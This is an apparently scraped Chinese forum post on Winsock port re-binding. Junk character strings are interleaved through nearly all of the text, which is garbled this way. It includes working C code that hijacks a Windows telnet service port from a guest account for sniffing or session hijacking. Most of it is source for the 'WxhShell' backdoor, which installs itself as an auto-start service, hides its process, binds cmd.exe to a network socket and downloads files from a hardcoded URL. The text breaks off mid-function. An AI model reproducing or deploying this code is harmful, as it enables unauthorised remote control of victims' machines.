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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Oer^Rk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K\$J4~EtG KLL;e/Gf saddr.sin_family = AF_INET; V
hk_ TzntO9P+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0%Z]h?EYy| y /BJIQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xritonG/F #~=hn8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <]T` 3W9 gCN$} 这意味着什么?意味着可以进行如下的攻击: Qed.4R:o 4mHvgnT!WA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gt ";2,;X hTEx]# ( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UH"#2< |b -CR?<A4mud 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2l
F>1vH hTM[8 ~<^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~O]]N;>72" !Mu|mz= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \|U l]1pO8 PmR~c, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0k'e:AjP Ezi-VGjr]
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ynB _"mg z)xSN;x #include =e}H'5?! #include Hsihytdj #include !j\" w p #include :gB[O>'<m DWORD WINAPI ClientThread(LPVOID lpParam); C:uz6i1 int main() }?@rO`:EF+ { 1=nUW": WORD wVersionRequested; 0V{(Ru.O DWORD ret; .(X
lg-H, WSADATA wsaData; ]/!<PF BOOL val; S<L.c SOCKADDR_IN saddr; W?We6.%
SOCKADDR_IN scaddr; NFr:y<0>z int err; M#4QQ} F. SOCKET s; 0UH*\<R SOCKET sc; "
beQZG int caddsize; +R\vgE68 HANDLE mt; sT/c_^y DWORD tid; u1~9{"P* wVersionRequested = MAKEWORD( 2, 2 ); 5|I[>Su err = WSAStartup( wVersionRequested, &wsaData ); q\q=PB6r if ( err != 0 ) { ErT{(t7 printf("error!WSAStartup failed!\n"); 7-~Q5Kr. return -1; .iQT5c } `- \/$M9s= saddr.sin_family = AF_INET; Hi
yc#-4 +*n-<x5" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e.*%K!( cDoo* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Maqf[
Vky saddr.sin_port = htons(23); p)=~% 7DV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YqV8D&I { 4:sjH.u< printf("error!socket failed!\n"); ~+H"
-+ return -1; -wv6s#"u } .p ls! val = TRUE; cNKUu~C+ //SO_REUSEADDR选项就是可以实现端口重绑定的 Y9=(zOqv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M@(^AK{mU { K YkS9_yF printf("error!setsockopt failed!\n"); i `0v#P return -1; t9_E$w^U } mCz,2K|^~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ph}j[Co //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8$c bVMjh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kwud?2E 7P B)'Wl"6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e2+BWKaU { =X!IHd0 ret=GetLastError(); <|*'O5B printf("error!bind failed!\n"); #"ftI7=42 return -1; MzYavg` } 9 Q!bt listen(s,2); @O}7XRJ_8 while(1) 9ktEm|F3 { ~aXqU#8 caddsize = sizeof(scaddr); &(a(W22O //接受连接请求 JTqq0OD} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gs*G<P" if(sc!=INVALID_SOCKET) 3pXLSdxB { #Ch;0UvFF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }6-ZE9H-v if(mt==NULL) ow/57P { XYH|;P6K printf("Thread Creat Failed!\n"); hAqg Iu* break; P0i V<T4^ } phYDs9-K } /U$8TT8+- CloseHandle(mt); 45@]:2j } 5y}
v{Ijt closesocket(s); Y=*P
8pg WSACleanup(); QR>
Y%4 ;h return 0; D%7kBfCb } 7yt=]1 DWORD WINAPI ClientThread(LPVOID lpParam) m7%C#+67 { d"U(`E=H9 SOCKET ss = (SOCKET)lpParam; #g5^SR|qE SOCKET sc; o\`>c:. unsigned char buf[4096]; GOSI3RRn SOCKADDR_IN saddr; _0pO8o-x long num; q+a.G2S DWORD val; Qpt&3_ DWORD ret; zTD@ //如果是隐藏端口应用的话,可以在此处加一些判断 <8#ObdY! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r,N[ )@ saddr.sin_family = AF_INET; 8z<r.joxC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X jE>k!=I saddr.sin_port = htons(23); gLL\F1|0x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S*"u/b; { -Z^4L printf("error!socket failed!\n"); CkRX>)=py return -1; zQH]s?v } t/Z:)4Z val = 100; p8+/\Ee]B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dz_eB"} { DP7C?}( ret = GetLastError(); 3P <'F2o return -1; [B0K } [rreFSy#@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h7;bclU { ]$M<]w,IJ2 ret = GetLastError(); cUK\x2 return -1; bO<0qM~ } S^cH}-+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \m@Y WO?L { 0ZC,BS`D^ printf("error!socket connect failed!\n"); uu%?K@Qq closesocket(sc); #^&jW closesocket(ss); |z^pL1Z]5 return -1; #
4|9Fj?? } xq!IbVV/h while(1) Gqyue7;0, { qd!#t] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f]d!hz! //如果是嗅探内容的话,可以再此处进行内容分析和记录 mYNEz
@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (Btv ClZ num = recv(ss,buf,4096,0); y~F<9;$= if(num>0) ^GYq#q9Q send(sc,buf,num,0); TK>{qxt:= else if(num==0) @ERu>nSP break; b0a}ME&1 num = recv(sc,buf,4096,0); `ycU-m== if(num>0) }r2[!gGd%| send(ss,buf,num,0); Y5-kj,CB else if(num==0) sIm#_+Y break; I}v]Zm9 } HPa|uDVv closesocket(ss); 9DEh*%q closesocket(sc); jxy1 return 0 ; 3ViM ?p } 5#_tE<uM k|O,1 H2Eb\v`# ========================================================== gKL1c{BV P Tnac 下边附上一个代码,,WXhSHELL +zRh
fIJHH %{STz ========================================================== C=VIT*= 00M`%c/ #include "stdafx.h" =s'7$D}0. Sue
6+p #include <stdio.h> {TL +7kiX/ #include <string.h> Z~3u:[x"; #include <windows.h> (L|}` #include <winsock2.h> B4O6>' #include <winsvc.h>
C(]'&~}( #include <urlmon.h> ):bu;3E , deUsc #pragma comment (lib, "Ws2_32.lib") 3#Y3Dz` #pragma comment (lib, "urlmon.lib") Q-R}qy5y V_;9TC #define MAX_USER 100 // 最大客户端连接数 `)[dVfxA #define BUF_SOCK 200 // sock buffer abZdGnc #define KEY_BUFF 255 // 输入 buffer (5;D7zdA /R%^rz'w #define REBOOT 0 // 重启 V:\]cGA{ #define SHUTDOWN 1 // 关机 8Inx/>eOI WOO%YU = #define DEF_PORT 5000 // 监听端口 +8UdvMN pN$;! #define REG_LEN 16 // 注册表键长度 \$;~74} #define SVC_LEN 80 // NT服务名长度 Z5>V{o j,t~ // 从dll定义API Lp~^*j( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~W)S/wF$P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8^w/HCC8O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \|Qb[{<:, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p^8JLC ]
C,1%( // wxhshell配置信息 6wpU6NU struct WSCFG { b}%g}L D int ws_port; // 监听端口 0 [i+ char ws_passstr[REG_LEN]; // 口令 B~_Spp int ws_autoins; // 安装标记, 1=yes 0=no >Zdi5')
5 char ws_regname[REG_LEN]; // 注册表键名 UE)fUTS char ws_svcname[REG_LEN]; // 服务名 99KVtgPm char ws_svcdisp[SVC_LEN]; // 服务显示名 [EGx char ws_svcdesc[SVC_LEN]; // 服务描述信息 l<2oklo5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aFG3tuaKrQ int ws_downexe; // 下载执行标记, 1=yes 0=no $WNG07]tU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m;h<"]< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6{7 3p@ ycjJbL(. }; B+Q+0tw*i =xBT>h; // default Wxhshell configuration hwDXm9 struct WSCFG wscfg={DEF_PORT, Yzd2G,kZ= "xuhuanlingzhe", Y*\6o7 1, a*Jn#Mx<M "Wxhshell", Uk02IOXQ "Wxhshell", ?48AY6 "WxhShell Service", p1
4d,}4W "Wrsky Windows CmdShell Service", b8HE."*t "Please Input Your Password: ", U"B.:C2 1, Vr\Q`H. " http://www.wrsky.com/wxhshell.exe", .\)k+ R "Wxhshell.exe" qsvpW%?aE }; OT+ Ee =43d%N
// 消息定义模块 HZuiVW8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fM{1Os char *msg_ws_prompt="\n\r? for help\n\r#>"; A^cU$V%?W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; B<+pg char *msg_ws_ext="\n\rExit."; bqjr0A7{ char *msg_ws_end="\n\rQuit."; ,|iy1yg( char *msg_ws_boot="\n\rReboot..."; \kk!Dz*H char *msg_ws_poff="\n\rShutdown..."; q\U4n[Zk char *msg_ws_down="\n\rSave to "; }Eb]9c\ ^vn\4 char *msg_ws_err="\n\rErr!"; fD(7FN8 char *msg_ws_ok="\n\rOK!"; .ujj:> mo*'"/ char ExeFile[MAX_PATH]; :K;T Q int nUser = 0; zS?n>ElI HANDLE handles[MAX_USER]; #~1wv^ int OsIsNt; $vqU|]J` 2R] XH
0 SERVICE_STATUS serviceStatus; YnD#p[Wo^ SERVICE_STATUS_HANDLE hServiceStatusHandle; 2)? bHJoEYY^ // 函数声明 m8u=u4z(" int Install(void); L^jaBl int Uninstall(void); 3XGB+$]C int DownloadFile(char *sURL, SOCKET wsh); blmmm(|~| int Boot(int flag); 9H[/T j-; void HideProc(void); )"F5lOA6 int GetOsVer(void); K{N%kk%F int Wxhshell(SOCKET wsl); pEkOSG void TalkWithClient(void *cs); -HN%B?}. x int CmdShell(SOCKET sock); '5V^}/ int StartFromService(void); w`0)x5
TGR int StartWxhshell(LPSTR lpCmdLine); ]DU61Z"v?b S{ey@X( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Dt\:`(r' VOID WINAPI NTServiceHandler( DWORD fdwControl ); U81;7L8 'X|v+? // 数据结构和表定义 mHHzCKE , SERVICE_TABLE_ENTRY DispatchTable[] = s1Okoxh/!V { OFIMi^@ {wscfg.ws_svcname, NTServiceMain}, %Dra7B% {NULL, NULL} *i%.{ YH }; N
tO? )X~#n // 自我安装 ^aT;aP^l int Install(void) QQT G9s { fPOEVmj< char svExeFile[MAX_PATH]; ||`qIElAW, HKEY key; VOg/VGJ strcpy(svExeFile,ExeFile); | yS5[?.` }U(\~
=D // 如果是win9x系统,修改注册表设为自启动 Ou? r {$(b if(!OsIsNt) { 2q/nAQ+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;C+cE# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e/ WBgiLw RegCloseKey(key); U|9U(il if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [4ee <J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T^N L:78 RegCloseKey(key); t18UDR{ return 0; v&e-`.xR } %8a=mQl1^ } j=FMYd8$y } M q76]I% else { xkF$D:sP g%X &f_@ // 如果是NT以上系统,安装为系统服务 ~c!Rx' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ot]>}[
if (schSCManager!=0) x3gwG)Sf { \ibCR~W4 SC_HANDLE schService = CreateService 32s5-.{c/f ( Is<x31R schSCManager, v3?kFd7%H~ wscfg.ws_svcname, xnT3^ #-h wscfg.ws_svcdisp, " \`BPN SERVICE_ALL_ACCESS, W0C{~|e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o*-h%Z. SERVICE_AUTO_START, N4A&"1d& SERVICE_ERROR_NORMAL, Sy4
mZ}: svExeFile, a5X`jo NULL, W^003*m~~K NULL, Q^[e/U, NULL, FPvuzBJ NULL, 1!X1wCT NULL .4Iw=T_ ); 2]2{&b u if (schService!=0) *Ao2j; { /tG 5!l CloseServiceHandle(schService); B%TXw#| CloseServiceHandle(schSCManager); P8"6"}B;T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qbEKp HnB strcat(svExeFile,wscfg.ws_svcname); /3OC7!~;fM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7WgIhQ~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?zbUA# RegCloseKey(key); (D0C#<4P return 0; 7U&5^s
)J } x(rd$oZO } aB=vu=hF CloseServiceHandle(schSCManager); U)u\1AV5 } a#YuKh? } ;I[ht :!(YEF#} return 1; 1RCXc>}/ } 2T//%ys= UaH26fWs // 自我卸载 lTxY6vi int Uninstall(void) @c6"RHG9 { \s.1R/TyD HKEY key; rny@n^F q1U&vZ3]c if(!OsIsNt) { m$7x#8gF
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +fC#2%VnU RegDeleteValue(key,wscfg.ws_regname); /_$~rW RegCloseKey(key); 8.*\+nH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "|(rVj= RegDeleteValue(key,wscfg.ws_regname); aUKh})B RegCloseKey(key); UedvA9$&; return 0; 7bA4P* } <Gn8B^~$ } 4kWg>F3 } ]|Ow_z8
O else { N8,EI^W8Z -
P\S>G. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8FB\0LA!g if (schSCManager!=0) nw~/~eM5= { ;%BhhmR)[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~!8%_J _ if (schService!=0) _L?v6MTj { b ^uP^](J if(DeleteService(schService)!=0) { >r;ABz/ CloseServiceHandle(schService); R#"U/8b>z CloseServiceHandle(schSCManager); %T`4!:vy return 0; l5{(z;xM } -@YVe:$%b CloseServiceHandle(schService); V<7R_}^_7 } zj~8>QnKk CloseServiceHandle(schSCManager); Zx}NFcn } Gojl0? } +L^A:}L( (iHf9*i CV return 1; B@ZqJw9J[ } v(qV\:s}m -s9 Y(> // 从指定url下载文件 1;cv-W int DownloadFile(char *sURL, SOCKET wsh) r{pI-$ { UiJ^~rn HRESULT hr; ML=hKwCA char seps[]= "/"; 9
eSN+q char *token; t7{L[C$ char *file; RnMB Gxa char myURL[MAX_PATH]; "WF(
6z# char myFILE[MAX_PATH]; >{O[t2& l@,); w=_P strcpy(myURL,sURL); B] A 5n8< token=strtok(myURL,seps); Z_iAn TT while(token!=NULL) Iq4 Kgc { 4?9soc file=token; (Wm/$P; token=strtok(NULL,seps); d%}crM-KTL } r4;5b s6wm ^m6k@VM GetCurrentDirectory(MAX_PATH,myFILE); 9F2w.(m strcat(myFILE, "\\"); c*y$bf< strcat(myFILE, file); LVPt*S= / send(wsh,myFILE,strlen(myFILE),0); ke3HK9P; send(wsh,"...",3,0); - XE79 fQ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /2g)Z!&+L if(hr==S_OK) %k/
k]:s return 0; iYO
wB'z else (t]lP/
return 1; E[ )7tr ^ 4u3Q } ^>,<*p s=H/b$v // 系统电源模块 /E`l:&89) int Boot(int flag) JVJ1Ay/be { |1dEs,z\ HANDLE hToken; rK(x4]I
l" TOKEN_PRIVILEGES tkp; pm'@2dT $\YLmG if(OsIsNt) { HI"!n$p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^}i50SG:y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iF#}t(CrH tkp.PrivilegeCount = 1; &rl]$Mtt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E1Ru)k{B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uPv;y!Lsa@ if(flag==REBOOT) { >wg9YZ~8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O84v*=u A return 0; :$SRG^7md } ;
McIxvj else { r85Xa'hh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,?0-=o return 0; BNL8hK`D } L}e"nzTE6I } <B]i80. else { )Dk0V!%N if(flag==REBOOT) { cXLV"d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %!ER @&1f& return 0; 0j
a } ~uhyROO,G" else {
wzHjEW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y (c|5CQ return 0; 5UrXVdP } 5 `{|[J_[ } an$]IN G*vpf~q? return 1; p:[`%<j0 } ?BHWzo! 1WUFk ?p // win9x进程隐藏模块 j,|1y5f void HideProc(void) p0[,$$pM { |"Xi%CQ2 E]u'MX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &J6o$i if ( hKernel != NULL ) RS||KA])J { Q
!RVD*( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !
kOl$!X4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (l3UNP FreeLibrary(hKernel); n3l"L|W^(< } ~`G;=ITo K\^&_#MG return; /c_kj2& ]9 } XvA0nEi &{%S0\K Y // 获取操作系统版本 `L"p)5H int GetOsVer(void) ga{25q}" { :]u}xDv3 OSVERSIONINFO winfo; E+^} B/"
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T}w*K[z
$ GetVersionEx(&winfo); AjL?Qh4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LRCS)UBY(. return 1; zgq_0w~X else MUCJ/GF* return 0; v'
9( et } 9U }MXY0 M k'n~.mb // 客户端句柄模块 \c9t]py<.h int Wxhshell(SOCKET wsl) 48~m=mI { l# !@{ < SOCKET wsh; NDIc?kj~ struct sockaddr_in client; p(x1D]#Z[ DWORD myID; ~/|unV 80 s~ae; while(nUser<MAX_USER) /SPAJHh { 3I>S:|=K int nSize=sizeof(client); ^7~SS2t! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6wpND|cT if(wsh==INVALID_SOCKET) return 1; <PfPh~ _ntW}})K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I(?|Ox9"? if(handles[nUser]==0) ziLr }/tg closesocket(wsh); bn*{*=(| else 8)-t91hkL nUser++; #)PGQ)( } MOqA$b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VH7iH|eW W3o}.|] return 0; S,"ChR } OO !S
w S\v&{ // 关闭 socket St3(1mApl void CloseIt(SOCKET wsh) WkDn { j6R{ closesocket(wsh); 0IPhVG~# nUser--; t7!>5e)C} ExitThread(0); 2LxVt@_R!% } OuBMVn eX
l%Qs#Y // 客户端请求句柄 zW"3K void TalkWithClient(void *cs) MR)KLM0 { *v:,rh #nc@!+ SOCKET wsh=(SOCKET)cs; }*}`)rj, char pwd[SVC_LEN]; L>5!3b=b char cmd[KEY_BUFF]; K&D}!.~/ char chr[1]; }d~FTre int i,j; l6`d48U y9G 57D while (nUser < MAX_USER) { Cj4b]*Q, YAC zznN if(wscfg.ws_passstr) { )(ZPSg$/F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vZ nO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8t{ >C)] //ZeroMemory(pwd,KEY_BUFF); <E}]t,'3 i=0; '9p5UC while(i<SVC_LEN) { mk`cyN>m 9Pob|UA // 设置超时 !iitx U fd_set FdRead; EkjK92cF struct timeval TimeOut; 5k%N<e`` FD_ZERO(&FdRead); y8~)/)l& FD_SET(wsh,&FdRead); 6rN5Xf cS TimeOut.tv_sec=8; }'.Sn{OWf TimeOut.tv_usec=0; ^cmP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h$ETH1Ue if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ay"2W%([` GaK_9Eg-2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E]eqvT NH pwd =chr[0]; %*Z2Gef?H if(chr[0]==0xd || chr[0]==0xa) { ;DgX"Uzm pwd=0; 6m{$rBR break; G4exk5 } 9y|&T i++; \I,Dje/:w } }Mb'tGW +SA<0l // 如果是非法用户,关闭 socket '3_B1iAv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zUUxxS_? } _~S^#ut+ WPp\sIP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zR JKIm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p|9ECdU>; dG~B3xg;5i while(1) { ??%T uuK]<h* ZeroMemory(cmd,KEY_BUFF); _M]rH<h cA*X$j6 // 自动支持客户端 telnet标准 9@z|2z2\G j=0; eGypXf% while(j<KEY_BUFF) { O<d?'{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -2na::<K cmd[j]=chr[0]; m6Cd^'J9^ if(chr[0]==0xa || chr[0]==0xd) { H"RF[bX( cmd[j]=0; `:BQ&T%UQR break; L"du"- } ; 7v7V j++; ;YXr G } {6y.%ysU Q.E^9giC // 下载文件 tG^ ?fc if(strstr(cmd,"http://")) { ]-Y]Q%A4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rb}&c)4 if(DownloadFile(cmd,wsh)) :8|3V~%m send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#rdfN'?U
else u-M$45vct send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;s
B:s9M } FjLv*K[#d else { =qR7-Q8B ^]!1 'xg switch(cmd[0]) { GKx,6E#JM 3k[<4- // 帮助 -5_xI)i case '?': { 2gR_1*| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,<j5i? break; I;.E}k } . .je< // 安装 =? *"V-l case 'i': { {,C8}8a W if(Install()) P<JkRX send(wsh,msg_ws_err,strlen(msg_ws_err),0); u.4vp]eU else
D6!+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S9#N%{8P break; =2)$|KC } 'CAukk| // 卸载
M9jo<+ case 'r': { (?3\.tQ}} if(Uninstall()) !E#.WX send(wsh,msg_ws_err,strlen(msg_ws_err),0); %oKqK>S) else `ur9KP4Dq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ollv _o3 break; '{k Nbx51 } /F}\V
^ // 显示 wxhshell 所在路径 ?CZD^>6 case 'p': { 8]MzOGB8 char svExeFile[MAX_PATH]; NITx;iC strcpy(svExeFile,"\n\r"); z'D{:q strcat(svExeFile,ExeFile); >N1]h'q> send(wsh,svExeFile,strlen(svExeFile),0); Q|z06_3i break; o9d$
4s@/ } u#,'ys // 重启 K2K6 case 'b': { EAE\Xv send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y"rV[oe if(Boot(REBOOT)) +Q]'kJ<s send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Qvgpx > else { "?&bh@P& closesocket(wsh); 2965 7k8 ExitThread(0); 4
Wd5Goe: } w*P4_=
:%Y break; yBh"qnOT } sq|@9GS0T // 关机 9<c4y4#y case 'd': { 'J0s%m|j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hg=G// if(Boot(SHUTDOWN)) 0F'UFn>{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rAw1g,& else { @M?EgVmW closesocket(wsh); yzR=:0J ExitThread(0); 4lUE(#kUM } Cj\+u\U# break; 6="&K_Q7 } }V,M0b> // 获取shell B^Mtj5Oc case 's': { !TZ/PqcE CmdShell(wsh); @W- f{V closesocket(wsh); 8'Bl=C|0X ExitThread(0); oySM?ZE break; ;rAW3 } x i,wL0{ // 退出 { (,vm}iFL case 'x': { dk`!UtNNRa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j|dzd<kE6 CloseIt(wsh); IqKXFORiNI break; pv SFp-:_ } 7lPk~0 // 离开 Qs X 59d case 'q': { V46[whL%r send(wsh,msg_ws_end,strlen(msg_ws_end),0); bxe 97] closesocket(wsh); Q.$h![`6 WSACleanup(); OBQ!0NM_b exit(1); {;M/J break; iPpJ`i#@+ } zNJyF;3 } ulo7d1OVkJ } 0j MI)aY. { F8,^+b| // 提示信息 "*\3.`Kd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XQ;dew+ } pT$AdvI] } 7N=VVD~!b )!-'S H return; $m
oa8 } d's`~HOU2 :]hfmWC // shell模块句柄
jhM|gV& int CmdShell(SOCKET sock) q0Pu6"^ { (OJ9@_fgG[ STARTUPINFO si; V@-GQP1 ZeroMemory(&si,sizeof(si)); ~J:lCu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |XG7UH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; muY^Fx PROCESS_INFORMATION ProcessInfo; L$Z_j()2 char cmdline[]="cmd"; [_1G\z_iE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kO4~N-& return 0; ?=rh= # } Av]N.HB$ 7z&u92dJI // 自身启动模式 ox#4|<qM int StartFromService(void) R~-q!nC { <sOB j' typedef struct hJNA% { %*=FLtBjo DWORD ExitStatus; -. {7;6:(k DWORD PebBaseAddress; ,CF~UX%
bU DWORD AffinityMask; ^KR(p!% DWORD BasePriority; p?nVPTh ULONG UniqueProcessId; u\?u}t v ULONG InheritedFromUniqueProcessId; 75i)$}_1B } PROCESS_BASIC_INFORMATION; wX;NU4)n P'k39 PROCNTQSIP NtQueryInformationProcess; Wfy+7$14M hp}8
